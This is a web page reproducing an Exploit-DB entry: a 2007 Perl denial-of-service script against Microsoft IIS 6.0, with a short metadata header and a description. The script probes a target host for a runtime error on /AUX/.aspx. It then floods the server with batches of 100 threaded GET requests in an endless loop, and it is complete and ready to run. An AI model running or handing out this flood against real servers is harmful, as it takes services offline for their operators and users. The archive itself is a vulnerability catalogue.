header-logo
Suggest Exploit
vendor:
Internet Information Server
by:
Kingcope
5.5
CVSS
MEDIUM
Denial of Service
CWE
Product Name: Internet Information Server
Affected Version From: IIS 6.0
Affected Version To: IIS 6.0
Patch Exists: NO
Related CWE:
CPE: a:microsoft:internet_information_server:6.0
Metasploit:
Other Scripts:
Platforms Tested: Linux
2007

Lame Internet Information Server 6.0 Denial Of Service (nonpermanent)

When sending multiple parallel GET requests to an IIS 6.0 server requesting /AUX/.aspx, the server becomes unstable and non-responsive. This only happens to servers that respond with a runtime error (System.Web.HttpException) and take two or more seconds to respond to the /AUX/.aspx GET request.

Mitigation:

There is no specific mitigation mentioned in the text.
Source

Exploit-DB raw data:

#When sending multiple parallel GET requests to a IIS 6.0 server requesting
#/AUX/.aspx the server gets instable and non responsive. This happens only
#to servers which respond a runtime error (System.Web.HttpException)
#and take two or more seconds to respond to the /AUX/.aspx GET request.
#
#
#signed,
#Kingcope kingcope@gmx.net
##########################################################################
###***********************************************************************
###
###
###
### Lame Internet Information Server 6.0 Denial Of Service (nonpermanent)
### by Kingcope, May/2007
### Better run this from a Linux system
##########################################################################

use IO::Socket;
use threads;

if ($ARGV[0] eq "") { exit; }
my $host = $ARGV[0];

$|=1;

sub sendit {
$sock = IO::Socket::INET->new(PeerAddr => $host,
                              PeerPort => 'http(80)',
                              Proto    => 'tcp');

print $sock "GET /AUX/.aspx HTTP/1.1\r\nHost: $host\r\nConnection:close\r\n\r\n";
}

$sock = IO::Socket::INET->new(PeerAddr => $host,
                              PeerPort => 'http(80)',
                              Proto    => 'tcp');

print $sock "GET /AUX/.aspx HTTP/1.1\r\nHost: $host\r\nConnection:close\r\n\r\n";

$k=0;
while (<$sock>) {
	if (($_ =~ /Runtime\sError/) || ($_ =~ /HttpException/)) {
			$k=1;
			last;
	}
}

if ($k==0) {
	print "Server does not seem vulnerable to this attack.\n";
	exit;	
}

print "ATTACK!\n";

while(1){

for (my $i=0;$i<=100;$i++) {
	$thr = threads->new(\&sendit);
	print "\r\r\r$i/100                        ";
}

foreach $thr (threads->list) {
	$thr->join;
}
}

# milw0rm.com [2007-05-21]